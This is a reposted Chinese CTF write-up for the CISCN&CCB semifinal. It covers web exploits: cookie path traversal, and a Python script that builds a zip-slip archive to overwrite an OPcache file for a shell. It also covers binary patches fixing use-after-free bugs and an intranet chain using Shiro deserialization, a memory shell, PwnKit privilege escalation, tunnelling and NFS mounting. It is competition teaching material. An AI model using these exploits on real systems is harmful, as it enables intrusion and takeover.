【星火之声】第二期:CISCN&CCB半决赛WriteUp

admin 2026-03-27 03:08:31 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详述了CISCN&CCB半决赛中AWDP与ISW方向的解题思路。Web题涉及路径穿越读取与PHPOPcache利用获取Shell;Pwn题针对UAF漏洞通过汇编修改实现指针置空修复;ISW部分涵盖Shiro反序列化、PwnKit提权及内网NFS挂载渗透。文章结合攻击与修复视角,提供了具体的代码操作与利用细节,具有较高实战参考价值。 综合评分: 81 文章分类: CTF,WEB安全,内网渗透,二进制安全,实战经验


cover_image

【星火之声】第二期:CISCN&CCB半决赛WriteUp

XJUSEC XJUSEC

中学生CTF

2026年3月24日 19:44 新疆

本文来自【星火计划】的【星火之声】投稿,来源于XJUSEC2026 年CISCN&CCB半决赛WriteUp。

如果您也想投稿相关文章,可将Markdown格式或Docx格式文档压缩后投递邮箱[email protected]

AWDP

Web

MediaDrive

先从攻击的思路出发的,因为只要会打肯定会fix,文件可以上传,可以读取,可以下载,但是分析源码也知道,ban的特别严格,基本上什么危险文件都上传不上去,文件上传的思路断掉,分析源码看到User类

分析每一个文件的开头会发现,都是先从cookie里面读取User的序列化字符串,可以发现这里可以修改路径

将路径先修改成/etc/,然后?F=passwd 抓包可以读取文件/etc/passwd 最后实在绕不过去,已经到第五轮,然后攻击不了,只能fix了,修起来很简单,直接在preview文件里面禁止用户去别的目录就行了,具体如下:

直接上传,fix成功

easy_time

第一步绕过登录:

再控制台输入,重定向到/dashboard

document.cookie = "user=admin; path=/";
document.cookie = "visited=yes; path=/";
location="/dashboard";

获得时间戳

index.php.bin可以看这篇文章利用PHP的OPcache机制getshell

利用index.php.bin

远程头像 URL:http://127.0.0.1/date.php 远程信息: type=text/html; charset=UTF-8 len=10 len=b’1769426974′

timestamp = 1769426974

# 将时间戳转换为小端序字节
little_endian_bytes = timestamp.to_bytes(4, byteorder='little')

# 将字节转换为十六进制字符串并添加空格
hex_string = ' '.join(f'{byte:02x}' for byte in little_endian_bytes)

print(hex_string)

#1e 50 77 69

计算opcache的值,这个值是/tmp/hash/var/www/html/的值,是后面覆盖文件时会用到、

phpinfo里面opcache开启了时间验证,index.php.bin还需要改变时间搓#1e 50 77 69这个就是我们获得的时间戳转换后的

8.2.6 API420220829 NTS  BIN_4888  //版本信息通过phpinfo.php获取

<?php
highlight_file(__FILE__);
echo&nbsp;md5("8.2.6API420220829,NTSBIN_4888(size_t)8\002");
?>

获得md5

将文件index.php.bin内容进行修改:

md5内容修改,同时根据上次获得的时间戳修改文件0040的前4伪。

import&nbsp;os
import&nbsp;zipfile
from&nbsp;pathlib&nbsp;import&nbsp;Path
ROOT_PATH = Path(__file__).parent.resolve()
def&nbsp;build_malicious_archive(base_dir: Path, source_file: str, internal_target_path: str, final_archive: str):
&nbsp; &nbsp;&nbsp;ifnot&nbsp;base_dir.exists():
&nbsp; &nbsp; &nbsp; &nbsp; base_dir.mkdir(parents=True, exist_ok=True)
&nbsp; &nbsp; src_blob = base_dir / source_file
&nbsp; &nbsp; out_package = base_dir / final_archive
&nbsp; &nbsp;&nbsp;ifnot&nbsp;src_blob.exists():
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[-] 错误: 找不到源文件&nbsp;{src_blob}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return
&nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;with&nbsp;zipfile.ZipFile(out_package,&nbsp;'w', compression=zipfile.ZIP_DEFLATED)&nbsp;as&nbsp;archive:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; archive.write(src_blob, arcname=internal_target_path)
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[+] 构件生成成功:&nbsp;{out_package}")
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[+] 注入路径节点:&nbsp;{internal_target_path}")
&nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[-] 构建失败:&nbsp;{str(e)}")

SOURCE_BINARY =&nbsp;"index.php.bin"

TRAVERSAL_INJECTION_POINT = (
&nbsp; &nbsp;&nbsp;"../../../../../../../../../../../../../../../../../tmp/45b8be9467d6ed29438f06cfe9cee9f6"
&nbsp; &nbsp;&nbsp;"/var/www/html/index.php.bin"
)

CARRIER_PACKAGE =&nbsp;"test.zip"

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; build_malicious_archive(
&nbsp; &nbsp; &nbsp; &nbsp; base_dir=ROOT_PATH,
&nbsp; &nbsp; &nbsp; &nbsp; source_file=SOURCE_BINARY,
&nbsp; &nbsp; &nbsp; &nbsp; internal_target_path=TRAVERSAL_INJECTION_POINT,
&nbsp; &nbsp; &nbsp; &nbsp; final_archive=CARRIER_PACKAGE
&nbsp; &nbsp; )

获得test.zip,上传文件,覆盖index.php

Pwn

catchme

UAF漏洞

定位到这里发现确实存在uaf漏洞

刚开始将free函数nop掉,check服务异常

然后把free函数plt表改为ret,check服务异常

决定写汇编修改,将指针置空

.text:0000000000000E05 &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; eax, [rbp+var_14]

.text:0000000000000E08 &nbsp; &nbsp; &nbsp; &nbsp; cdqe

.text:0000000000000E0A &nbsp; &nbsp; &nbsp; &nbsp; lea &nbsp; rdx, ds:0[rax*8]

.text:0000000000000E12 &nbsp; &nbsp; &nbsp; &nbsp; lea &nbsp; rax, qword_202060

.text:0000000000000E19 &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; rax, [rdx+rax]

.text:0000000000000E1D &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; rdi, rax &nbsp; &nbsp;; ptr

.text:0000000000000E20 &nbsp; &nbsp; &nbsp; &nbsp; call &nbsp;_free

:0000000000000E25 &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; eax, 0

这是原来的汇编

我们把mov eax,0nop掉,然后跳转到其他段去修改汇编

这是目标段,先把原来的数据nop掉,然后抄写free函数的汇编

改为如图所示

原来的位置进行跳转

如图

Ubuntu运行发现没有段错误,直接打包提交

easy_rw_revenge

UAF漏洞

发现free之后确实没有置零,根据上一题的经验,继续尝试用汇编修改

同时题目给了delete函数

这是sub1A00的汇编,尝试将free之后的汇编与这段汇编结合

这是free的汇编

改为如图所示

改完之后

然后在ubuntu上成功运行

上交后patch通过

ISW

FLAG01

Fscan扫描

检测到漏洞,拿到shirokey,shiro工具

先检测密钥然后检测当前利用链子

一个个测试发现k1这个链子可以利用成功,拿到flag,然后上个内存马,方便命令执行

FLAG02

CVE-2021-4034提权(PwnKit)拿到root权限,然后root目录下拿到第二个flag

FLAG03

用vshell搭一个内网隧道,然后将fscan上传进去扫一下

端口扫描

端口扫描
192.168.45.100:135 &nbsp; msrcp
192.168.45.100:139 &nbsp; microsoft-ds
192.168.45.100:22 &nbsp; &nbsp;ssh | SSH-2.0-OpenSSH_7.4
192.168.45.100:445 &nbsp; microsoft-ds
192.168.45.100:2049 &nbsp;nfs
192.168.45.100:53
192.168.45.100:389 &nbsp; ldap

分析得到nfs可能会有共享文件夹 showmount -e 192.168.45.100

创建目录ccb,将这个目录挂载到192.168.45.50 ccb上

如果你觉得本篇文章有意思或者学到了新技术,不妨点个赞转发一下再走吧?


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:中学生CTF XJUSEC XJUSEC《【星火之声】第二期:CISCN&CCB半决赛WriteUp》

评论:0   参与:  0